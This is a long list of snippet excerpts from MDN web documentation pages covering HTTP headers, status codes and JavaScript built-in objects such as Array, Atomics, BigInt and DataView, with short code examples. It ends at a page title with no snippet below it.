in an http url, the first substring that follows the initial http:// or https:// is called the domain name.
MIME types (IANA media types) - HTTP
for historical reasons, the mime sniffing standard (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) allows javascript to be served using any mime type that essentially matches any of the following: application/javascript application/ecmascript application/x-ecmascript application/x-javascript text/javascript text/ecmascript text/javascript1.0 text/javascript1.1 ...
HTTP caching - HTTP
WebHTTPCaching
caches have finite storage so items are periodically removed from storage.
Compression in HTTP - HTTP
in fact, this is often counter productive as the cost of the overhead (algorithms usually need a dictionary that add to the initial size) can be higher than the extra gain in compression resulting in a larger file.
List of default Accept values - HTTP
this is typically used for requests initiated via the address bar of a browser, or via an html <a> element.
Content negotiation - HTTP
initial support is in chrome 46 or later.
Using HTTP cookies - HTTP
WebHTTPCookies
the browser defines when the "current session" ends, and some browsers use session restoring when restarting, which can cause session cookies to last indefinitely long.
Access-Control-Expose-Headers - HTTP
ders: content-length, x-kuma-revision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however, this won't wildcard the authorization header, so if you need to expose that, you will need to list it explicitly: access-control-expose-headers: *, authorization specifications specification status comment fetchthe definition of 'access-control-expose-headers' in that specification.
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
example alt-svc: h2=":443"; ma=2592000; alt-svc: h2=":443"; ma=2592000; persist=1 alt-svc: h2="alt.example.com:443", h2=":443" alt-svc: h3-25=":443"; ma=3600, h2=":443"; ma=3600 specifications specification status comment rfc 7838 ietf rfc initial definition.
Clear-Site-Data - HTTP
clear-site-data: "cookies" specifications specification status title clear site data working draft initial definition.
CSP: trusted-types - HTTP
specifications specification status comment trusted types draft initial definition.
Content-Security-Policy-Report-Only - HTTP
content security policy level 2 recommendation initial definition.
Content-Security-Policy - HTTP
navigate-to restricts the urls to which a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
Cross-Origin-Embedder-Policy - HTTP
for example, you can use the crossorigin attribute for this image from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html living standardthe definition of 'cross-origin-embedder-policy header' in that specification.
Cross-Origin-Opener-Policy - HTTP
to check if cross-origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification html living standardthe definition of 'cross-origin-opener-policy header' in that specification.
Cross-Origin-Resource-Policy - HTTP
specifications specification status comment fetch living standard initial definition ...
Digest - HTTP
WebHTTPHeadersDigest
examples digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe=,unixsum=30637 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
ETag - HTTP
WebHTTPHeadersETag
they might also be set to persist indefinitely by a tracking server.
Feature-Policy: ambient-light-sensor - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: autoplay - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: camera - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: document-domain - HTTP
specifications specification status comment html living standardthe definition of 'document-domain' in that specification.
Feature-Policy: geolocation - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: gyroscope - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: layout-animations - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: legacy-image-formats - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: magnetometer - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: microphone - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: midi - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: oversized-images - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: payment - HTTP
feature policy editor's draft initial definition.
Feature-Policy: picture-in-picture - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: sync-xhr - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: unoptimized-images - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: vibrate - HTTP
specifications specification status comment feature policy editor's draft initial definition.
web-share - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: xr-spatial-tracking - HTTP
specifications specification status comment webxr device apithe definition of 'permissions policy' in that specification.
Forwarded - HTTP
for=<identifier> the client that initiated the request and subsequent proxies in a chain of proxies.
Index - HTTP
WebHTTPHeadersIndex
that is, this is header is sent from server to client to inform that server is willing to initiate a websocket connection.
Link - HTTP
WebHTTPHeadersLink
le links separated by commas, for example: link: <https://one.example.com>; rel="preconnect", <https://two.example.com>; rel="preconnect", <https://three.example.com>; rel="preconnect" specifications specification status comments rfc 8288, section 3: link serialisation in http headers ietf rfc rfc 5988, section 5: the link header field ietf rfc initial definition ...
Origin - HTTP
WebHTTPHeadersOrigin
examples origin: https://developer.mozilla.org specifications specification comment rfc 6454, section 7: origin the web origin concept fetchthe definition of 'origin header' in that specification.
Sec-WebSocket-Accept - HTTP
that is, this is header is sent from server to client to inform that server is willing to initiate a websocket connection.
Set-Cookie - HTTP
note that a cookie that has been created with httponly will still be sent with javascript-initiated requests, e.g.
Want-Digest - HTTP
es another want-digest header, listing the algorithms that it does support: request: get /item want-digest: sha;q=1 response: http/1.1 400 bad request want-digest: sha-256, sha-512 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
HTTP headers - HTTP
WebHTTPHeaders
fetch metadata request headers sec-fetch-site it is a request header that indicates the relationship between a request initiator's origin and its target's origin.
HTTP Messages - HTTP
WebHTTPMessages
http requests start line http requests are messages sent by the client to initiate an action on the server.
Redirections in HTTP - HTTP
if someone changes the http redirects but forgets to change the html redirects, the redirects will no longer be identical, which could cause an infinite loop or other nightmares.
HTTP resources and specifications - HTTP
proposed standard rfc 6454 the web origin concept proposed standard fetchthe definition of 'cors' in that specification.
A typical HTTP session - HTTP
WebHTTPSession
opening a connection in http means initiating a connection in the underlying transport layer, usually this is tcp.
100 Continue - HTTP
WebHTTPStatus100
to have a server check the request's headers, a client must send expect: 100-continue as a header in its initial request and receive a 100 continue status code in response before sending the body.
103 Early Hints - HTTP
WebHTTPStatus103
syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in this page is generated from structured data.
301 Moved Permanently - HTTP
WebHTTPStatus301
the hypertext transfer protocol (http) 301 moved permanently redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers.
308 Permanent Redirect - HTTP
WebHTTPStatus308
the hypertext transfer protocol (http) 308 permanent redirect redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers.
508 Loop Detected - HTTP
WebHTTPStatus508
it indicates that the server terminated an operation because it encountered an infinite loop while processing a request with "depth: infinity".
CSS Houdini
properties registered using this api are provided with a parse syntax that defines a type, inheritance behaviour, and an initial value.
About JavaScript - JavaScript
objects are created programmatically in javascript, by attaching methods and properties to otherwise empty objects at run time, as opposed to the syntactic class definitions common in compiled languages like c++ and java.
Enumerability and ownership of properties - JavaScript
enumerable properties are those properties whose internal enumerable flag is set to true, which is the default for properties created via simple assignment or via a property initializer (properties defined via object.defineproperty and such default enumerable to false).
Concurrency model and the event loop - JavaScript
specifications specification html living standardthe definition of 'event loops' in that specification.
Expressions and operators - JavaScript
these operators work as they do in most other programming languages when used with floating point numbers (in particular, note that division by zero produces infinity).
Meta programming - JavaScript
.apply.call(math.floor, undefined, [1.75]) with reflect.apply this becomes less verbose and easier to understand: reflect.apply(math.floor, undefined, [1.75]) // 1 reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(regexp.prototype.exec, /ab/, ['confabulation']).index // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property.
Assertions - JavaScript
emon.match(selectnotorangeregex)); // [ ' yes, i do not want to have a lemon!' ] lookbehind assertion let oranges = ['ripe orange a ', 'green orange b', 'ripe orange c',]; let ripe_oranges = oranges.filter( fruit => fruit.match(/(?<=ripe )orange/)); console.log(ripe_oranges); // [ 'ripe orange a ', 'ripe orange c' ] specifications specification ecmascript (ecma-262)the definition of 'regexp: assertions' in that specification.
Character classes - JavaScript
specifications specification ecmascript latest draft (ecma-262)the definition of 'regexp: character classes' in that specification.
Regular expression syntax cheatsheet - JavaScript
they initially match "o" in "bacon" and "h" in "chop".
Quantifiers - JavaScript
console.log(text.match(greedyregexp)[0]); // "i must be getting somewhere near the centre of the earth" // almost all of the text matches (leaves out the dot character) var nongreedyregexp = /[\w ]+?/; // notice the question mark console.log(text.match(nongreedyregexp)); // "i" // the match is the smallest one possible specifications specification ecmascript (ecma-262)the definition of 'regexp: quantifiers' in that specification.
Unicode property escapes - JavaScript
ы в Стране чудес"; const regexpbmpword = /([\u0000-\u0019\u0021-\uffff])+/gu; // bmp goes through u+0000 to u+ffff but space is u+0020 console.table(nonenglishtext.match(regexpbmpword)); // using unicode property escapes instead const regexpupe = /\p{l}+/gu; console.table(nonenglishtext.match(regexpupe)); specifications specification ecmascript (ecma-262)the definition of 'regexp: unicode property escapes' in that specification.
JavaScript language resources - JavaScript
es.next features are more correctly called proposals, because, by definition, the specification has not been finalized yet.
Private class fields - JavaScript
#decoratedmessage() { return `✨${this.#message}✨` } set #decoratedmessage(msg) { this.#message = msg } constructor() { this.#decoratedmessage = 'hello world' console.log(this.#decoratedmessage) } } new classwithprivateaccessor(); // expected output: "✨hello worl​d✨" specifications specification public and private instance fieldsthe definition of 'fielddefinition' in that specification.
extends - JavaScript
class mydate extends date { getformatteddate() { var months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec']; return this.getdate() + '-' + months[this.getmonth()] + '-' + this.getfullyear(); } } specifications specification ecmascript (ecma-262)the definition of 'extends' in that specification.
static - JavaScript
class staticmethodcall { constructor() { console.log(staticmethodcall.staticmethod()); // 'static method has been called.' console.log(this.constructor.staticmethod()); // 'static method has been called.' } static staticmethod() { return 'static method has been called.'; } } specifications specification ecmascript (ecma-262)the definition of 'class definitions' in that specification.
TypeError: can't redefine non-configurable property "x" - JavaScript
usually, properties in an object created by an object initializer are configurable.
RangeError: invalid array length - JavaScript
message rangeerror: array length must be a finite positive integer (edge) rangeerror: invalid array length (firefox) rangeerror: invalid array length (chrome) rangeerror: invalid array buffer length (chrome) error type rangeerror what went wrong?
RangeError: repeat count must be non-negative - JavaScript
it must be between 0 and less than positive infinity and cannot be a negative number.
RangeError: argument is not a valid code point - JavaScript
examples invalid cases string.fromcodepoint('_'); // rangeerror string.fromcodepoint(infinity); // rangeerror string.fromcodepoint(-1); // rangeerror string.fromcodepoint(3.14); // rangeerror string.fromcodepoint(3e-2); // rangeerror string.fromcodepoint(nan); // rangeerror valid cases string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.from...
ReferenceError: reference to undefined property "x" - JavaScript
var foo = {}; foo.bar; // referenceerror: reference to undefined property "bar" valid cases to avoid the error, you need to either add a definition for bar to the object or check for the existence of the bar property before trying to access it; one way to do that is to use the object.prototype.hasownproperty() method), like this: var foo = {}; // define the bar property foo.bar = 'moon'; console.log(foo.bar); // "moon" // test to be sure bar exists before accessing it if (foo.hasownproperty('bar')) { console.log(foo.bar); } ...
arguments.callee - JavaScript
e following, there are not alternatives to arguments.callee, so its deprecation could be a bug (see bug 725398): function createperson(sidentity) { var operson = new function('alert(arguments.callee.identity);'); operson.identity = sidentity; return operson; } var john = createperson('john smith'); john(); specifications specification ecmascript (ecma-262)the definition of 'arguments exotic objects' in that specification.
arguments.length - JavaScript
*/) { base = number(base); for (var i = 1; i < arguments.length; i++) { base += number(arguments[i]); } return base; } note the difference between function.length and arguments.length specifications specification ecmascript (ecma-262)the definition of 'arguments exotic objects' in that specification.
AggregateError() constructor - JavaScript
throw new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror()' in that specification.
AggregateError - JavaScript
hrow new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror' in that specification.
get Array[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent array objects in your derived class methods: class myarray extends array { // overwrite myarray species to the parent array constructor static get [symbol.species]() { return array; } } specifications specification ecmascript (ecma-262)the definition of 'get array [ @@species ]' in that specification.
Array.prototype[@@unscopables] - JavaScript
var keys = []; with (array.prototype) { keys.push('something'); } object.keys(array.prototype[symbol.unscopables]); // ["copywithin", "entries", "fill", "find", "findindex", // "includes", "keys", "values"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype[@@unscopables]' in that specification.
Array.prototype.concat() - JavaScript
wing code concatenates nested arrays and demonstrates retention of references: const num1 = [[1]]; const num2 = [2, [3]]; const numbers = num1.concat(num2); console.log(numbers); // results in [[1], 2, [3]] // modify the first element of num1 num1[0].push(4); console.log(numbers); // results in [[1, 4], 2, [3]] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.concat' in that specification.
Array.prototype.copyWithin() - JavaScript
0, 3) // {0: 1, 3: 1, length: 5} // es2015 typed arrays are subclasses of array var i32a = new int32array([1, 2, 3, 4, 5]) i32a.copywithin(0, 2) // int32array [3, 4, 5, 4, 5] // on platforms that are not yet es2015 compliant: [].copywithin.call(new int32array([1, 2, 3, 4, 5]), 0, 3, 4); // int32array [4, 2, 3, 4, 5] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.copywithin' in that specification.
Array.prototype.entries() - JavaScript
ating with index and element const a = ['a', 'b', 'c']; for (const [index, element] of a.entries()) console.log(index, element); // 0 'a' // 1 'b' // 2 'c' using a for…of loop var a = ['a', 'b', 'c']; var iterator = a.entries(); for (let e of iterator) { console.log(e); } // [0, 'a'] // [1, 'b'] // [2, 'c'] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.entries' in that specification.
Array.prototype.fill() - JavaScript
l(4, 3, 5) // [1, 2, 3] array(3).fill(4) // [4, 4, 4] [].fill.call({ length: 3 }, 4) // {0: 4, 1: 4, 2: 4, length: 3} // a single object, referenced by each slot of the array: let arr = array(3).fill({}) // [{}, {}, {}] arr[0].hi = "hi" // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.fill' in that specification.
Array.prototype.find() - JavaScript
e); }); // expected output: // deleting array[5] with value 5 // visited index 0 with value 0 // visited index 1 with value 1 // visited index 2 with value undefined // visited index 3 with value undefined // visited index 4 with value undefined // visited index 5 with value undefined // visited index 6 with value 6 specifications specification ecmascript (ecma-262)the definition of 'array.prototype.find' in that specification.
Array.prototype.findIndex() - JavaScript
index using arrow function the following example finds the index of a fruit using an arrow function: const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"]; const index = fruits.findindex(fruit => fruit === "blueberries"); console.log(index); // 3 console.log(fruits[index]); // blueberries specifications specification ecmascript (ecma-262)the definition of 'array.prototype.findindex' in that specification.
Array.prototype.flatMap() - JavaScript
[n] : [n-1, 1] ) // expected output: [4, 1, 4, 20, 16, 1, 18] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.flatmap' in that specification.
Array.prototype.includes() - JavaScript
for more details and discussion, see https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 specifications specification ecmascript (ecma-262)the definition of 'array.prototype.includes' in that specification.
Array.isArray() - JavaScript
ame = document.createelement('iframe'); document.body.appendchild(iframe); xarray = window.frames[window.frames.length-1].array; var arr = new xarray(1,2,3); // [1,2,3] // correctly checking for array array.isarray(arr); // true // considered harmful, because doesn't work through iframes arr instanceof array; // false specifications specification ecmascript (ecma-262)the definition of 'array.isarray' in that specification.
Array.prototype.join() - JavaScript
function f(a, b, c) { var s = array.prototype.join.call(arguments); console.log(s); // '1,a,true' } f(1, 'a', true); //expected output: "1,a,true" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.join' in that specification.
Array.prototype.keys() - JavaScript
examples key iterator doesn't ignore holes var arr = ['a', , 'c']; var sparsekeys = object.keys(arr); var densekeys = [...arr.keys()]; console.log(sparsekeys); // ['0', '2'] console.log(densekeys); // [0, 1, 2] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.keys' in that specification.
Array.prototype.lastIndexOf() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'array.prototype.lastindexof' in that specification.
Array.prototype.length - JavaScript
var numbers = [1, 2, 3, 4, 5]; if (numbers.length > 3) { numbers.length = 3; } console.log(numbers); // [1, 2, 3] console.log(numbers.length); // 3 create empty array of fixed length var numbers = []; numbers.length = 3; console.log(numbers); // [undefined, undefined, undefined] specifications specification ecmascript (ecma-262)the definition of 'array.length' in that specification.
Array.prototype.map() - JavaScript
// filterednumbers is [1, 2, 3, undefined] // numbers is still [1, 2, 3, 4] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.map' in that specification.
Array.of() - JavaScript
function() { return array.prototype.slice.call(arguments); // or let vals = []; for(let prop in arguments){ vals.push(arguments[prop]); } return vals; } } examples using array.of array.of(1); // [1] array.of(1, 2, 3); // [1, 2, 3] array.of(undefined); // [undefined] specifications specification ecmascript (ecma-262)the definition of 'array.of' in that specification.
Array.prototype.pop() - JavaScript
var myfish = {0:'angel', 1:'clown', 2:'mandarin', 3:'sturgeon', length: 4}; var popped = array.prototype.pop.call(myfish); //same syntax for using apply( ) console.log(myfish); // {0:'angel', 1:'clown', 2:'mandarin', length: 3} console.log(popped); // 'sturgeon' specifications specification ecmascript (ecma-262)the definition of 'array.prototype.pop' in that specification.
Array.prototype.push() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'array.prototype.push' in that specification.
Array.prototype.reverse() - JavaScript
const a = {0: 1, 1: 2, 2: 3, length: 3}; console.log(a); // {0: 1, 1: 2, 2: 3, length: 3} array.prototype.reverse.call(a); //same syntax for using apply() console.log(a); // {0: 3, 1: 2, 2: 1, length: 3} specifications specification ecmascript (ecma-262)the definition of 'array.prototype.reverse' in that specification.
Array.prototype.shift() - JavaScript
in the following example every iteration will remove the next element from an array, until it is empty: var names = ["andrew", "edward", "paul", "chris" ,"john"]; while( (i = names.shift()) !== undefined ) { console.log(i); } // andrew, edward, paul, chris, john specifications specification ecmascript (ecma-262)the definition of 'array.prototype.shift' in that specification.
Array.prototype.slice() - JavaScript
let unboundslice = array.prototype.slice let slice = function.prototype.call.bind(unboundslice) function list() { return slice(arguments) } let list1 = list(1, 2, 3) // [1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.slice' in that specification.
Array.prototype.some() - JavaScript
function getboolean(value) { 'use strict'; if (typeof value === 'string') { value = value.tolowercase().trim(); } return truthy_values.some(function(t) { return t === value; }); } getboolean(false); // false getboolean('false'); // false getboolean(1); // true getboolean('true'); // true specifications specification ecmascript (ecma-262)the definition of 'array.prototype.some' in that specification.
Array.prototype.splice() - JavaScript
rin', 'sturgeon'] let removed = myfish.splice(-2, 1) // myfish is ["angel", "clown", "sturgeon"] // removed is ["mandarin"] remove all elements from index 2 let myfish = ['angel', 'clown', 'mandarin', 'sturgeon'] let removed = myfish.splice(2) // myfish is ["angel", "clown"] // removed is ["mandarin", "sturgeon"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.splice' in that specification.
Array.prototype.toString() - JavaScript
examples using tostring const array1 = [1, 2, 'a', '1a']; console.log(array1.tostring()); // expected output: "1,2,a,1a" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
Array.prototype.unshift() - JavaScript
th // arr is [0, 1, 2] arr.unshift(-2, -1) // the new array length is 5 // arr is [-2, -1, 0, 1, 2] arr.unshift([-4, -3]) // the new array length is 6 // arr is [[-4, -3], -2, -1, 0, 1, 2] arr.unshift([-7, -6], [-5]) // the new array length is 8 // arr is [ [-7, -6], [-5], [-4, -3], -2, -1, 0, 1, 2 ] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.unshift' in that specification.
Array.prototype.values() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'array.prototype.values' in that specification.
Array - JavaScript
, , , , , , , , , , ,p, , , , , , , , , , p,p,p,p, ,p,p,p r,n,b,q,k,b,n,r using an array to tabulate a set of values values = [] for (let x = 0; x < 10; x++){ values.push([ 2 ** x, 2 * x ** 2 ]) } console.table(values) results in // the first column is the index 0 1 0 1 2 2 2 4 8 3 8 18 4 16 32 5 32 50 6 64 72 7 128 98 8 256 128 9 512 162 specifications specification initial publication ecmascript (ecma-262)the definition of 'array' in that specification.
get ArrayBuffer[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent arraybuffer objects in your derived class methods: class myarraybuffer extends arraybuffer { // overwrite myarraybuffer species to the parent arraybuffer constructor static get [symbol.species]() { return arraybuffer; } } specifications specification ecmascript (ecma-262)the definition of 'get arraybuffer [ @@species ]' in that specification.
ArrayBuffer.prototype.byteLength - JavaScript
examples using bytelength var buffer = new arraybuffer(8); buffer.bytelength; // 8 specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.bytelength' in that specification.
ArrayBuffer.isView() - JavaScript
// false arraybuffer.isview(new arraybuffer(10)); // false arraybuffer.isview(new uint8array()); // true arraybuffer.isview(new float32array()); // true arraybuffer.isview(new int8array(10).subarray(0, 3)); // true const buffer = new arraybuffer(2); const dv = new dataview(buffer); arraybuffer.isview(dv); // true specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.isview' in that specification.
ArrayBuffer.prototype.slice() - JavaScript
examples copying an arraybuffer const buf1 = new arraybuffer(8); const buf2 = buf1.slice(0); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.slice' in that specification.
ArrayBuffer - JavaScript
examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array view referring to the buffer: const buffer = new arraybuffer(8); const view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
Atomics.add() - JavaScript
examples using add() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.add' in that specification.
Atomics.and() - JavaScript
5 0101 1 0001 ---- 1 0001 examples using and() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.and(ta, 0, 1); // returns 0, the old value atomics.load(ta, 0); // 1 specifications specification ecmascript (ecma-262)the definition of 'atomics.and' in that specification.
Atomics.compareExchange() - JavaScript
examples using compareexchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 7; atomics.compareexchange(ta, 0, 7, 12); // returns 7, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.compareexchange' in that specification.
Atomics.exchange() - JavaScript
examples using exchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.exchange(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.exchange' in that specification.
Atomics.isLockFree() - JavaScript
examples using islockfree atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfree(3); // false atomics.islockfree(4); // true atomics.islockfree(5); // false atomics.islockfree(6); // false atomics.islockfree(7); // false atomics.islockfree(8); // true specifications specification ecmascript (ecma-262)the definition of 'atomics.islockfree' in that specification.
Atomics.load() - JavaScript
examples using load const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.load' in that specification.
Atomics.or() - JavaScript
5 0101 1 0001 ---- 5 0101 examples using or const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 2; atomics.or(ta, 0, 1); // returns 2, the old value atomics.load(ta, 0); // 3 specifications specification ecmascript (ecma-262)the definition of 'atomics.or' in that specification.
Atomics.store() - JavaScript
examples using store() var sab = new sharedarraybuffer(1024); var ta = new uint8array(sab); atomics.store(ta, 0, 12); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.store' in that specification.
Atomics.sub() - JavaScript
examples using sub const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 48; atomics.sub(ta, 0, 12); // returns 48, the old value atomics.load(ta, 0); // 36 specifications specification ecmascript (ecma-262)the definition of 'atomics.sub' in that specification.
Atomics.xor() - JavaScript
5 0101 1 0001 ---- 4 0100 examples using xor const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.xor(ta, 0, 1); // returns 5, the old value atomics.load(ta, 0); // 4 specifications specification ecmascript (ecma-262)the definition of 'atomics.xor' in that specification.
Atomics - JavaScript
atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics' in that specification.
BigInt() constructor - JavaScript
examples creating a new bigint bigint(123); // 123n specifications specification ecmascript (ecma-262)the definition of 'bigint constructor' in that specification.
BigInt.asIntN() - JavaScript
const max = 2n ** (64n - 1n) - 1n; bigint.asintn(64, max); // ↪ 9223372036854775807n bigint.asintn(64, max + 1n); // ↪ -9223372036854775807n // negative because of overflow specifications specification ecmascript (ecma-262)the definition of 'bigint.asintn()' in that specification.
BigInt.asUintN() - JavaScript
const max = 2n ** 64n - 1n; bigint.asuintn(64, max); // ↪ 18446744073709551615n bigint.asuintn(64, max + 1n); // ↪ 0n // zero because of overflow specifications specification ecmascript (ecma-262)the definition of 'bigint.asuintn()' in that specification.
BigInt.prototype.toString() - JavaScript
(-0n).tostring(); // '0' bigint(-0).tostring(); // '0' specifications specification ecmascript (ecma-262)the definition of 'bigint.prototype.tostring()' in that specification.
BigInt.prototype.valueOf() - JavaScript
examples using valueof typeof object(1n); // object typeof object(1n).valueof(); // bigint specifications specification ecmascript (ecma-262)the definition of 'bigint.prototype.valueof()' in that specification.
BigInt - JavaScript
e; } return true } // takes a bigint as an argument, returns nth prime number as bigint function nthprime(nth) { let maybeprime = 2n let prime = 0n while (nth >= 0n) { if (isprime(maybeprime)) { nth-- prime = maybeprime } maybeprime++ } return prime } nthprime(20n) // ↪ 73n specifications specification ecmascript (ecma-262)the definition of 'bigint objects' in that specification.
Boolean.prototype.toString() - JavaScript
examples using tostring() in the following code, flag.tostring() returns "true": var flag = new boolean(true); var myvar = flag.tostring(); specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.tostring' in that specification.
Boolean.prototype.valueOf() - JavaScript
examples using valueof() x = new boolean(); myvar = x.valueof(); // assigns false to myvar specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.valueof' in that specification.
DataView() constructor - JavaScript
examples using dataview var buffer = new arraybuffer(16); var view = new dataview(buffer, 0); view.setint16(1, 42); view.getint16(1); // 42 specifications specification ecmascript (ecma-262)the definition of 'dataview constructor' in that specification.
DataView.prototype.buffer - JavaScript
examples using the buffer property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.buffer' in that specification.
DataView.prototype.byteLength - JavaScript
new dataview(buffer); dataview.bytelength; // 8 (matches the bytelength of the buffer) var dataview2 = new dataview(buffer, 1, 5); dataview2.bytelength; // 5 (as specified when constructing the dataview) var dataview3 = new dataview(buffer, 2); dataview3.bytelength; // 6 (due to the offset of the constructed dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.bytelength' in that specification.
DataView.prototype.byteOffset - JavaScript
examples using the byteoffset property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.byteoffset; // 0 (no offset specified) var dataview2 = new dataview(buffer, 3); dataview2.byteoffset; // 3 (as specified when constructing the dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.byteoffset' in that specification.
DataView.prototype.getBigInt64() - JavaScript
examples using the getbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbigint64()' in that specification.
DataView.prototype.getBigUint64() - JavaScript
examples using the getbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbiguint64()' in that specification.
DataView.prototype.getFloat32() - JavaScript
examples using the getfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat32' in that specification.
DataView.prototype.getFloat64() - JavaScript
examples using the getfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat64' in that specification.
DataView.prototype.getInt16() - JavaScript
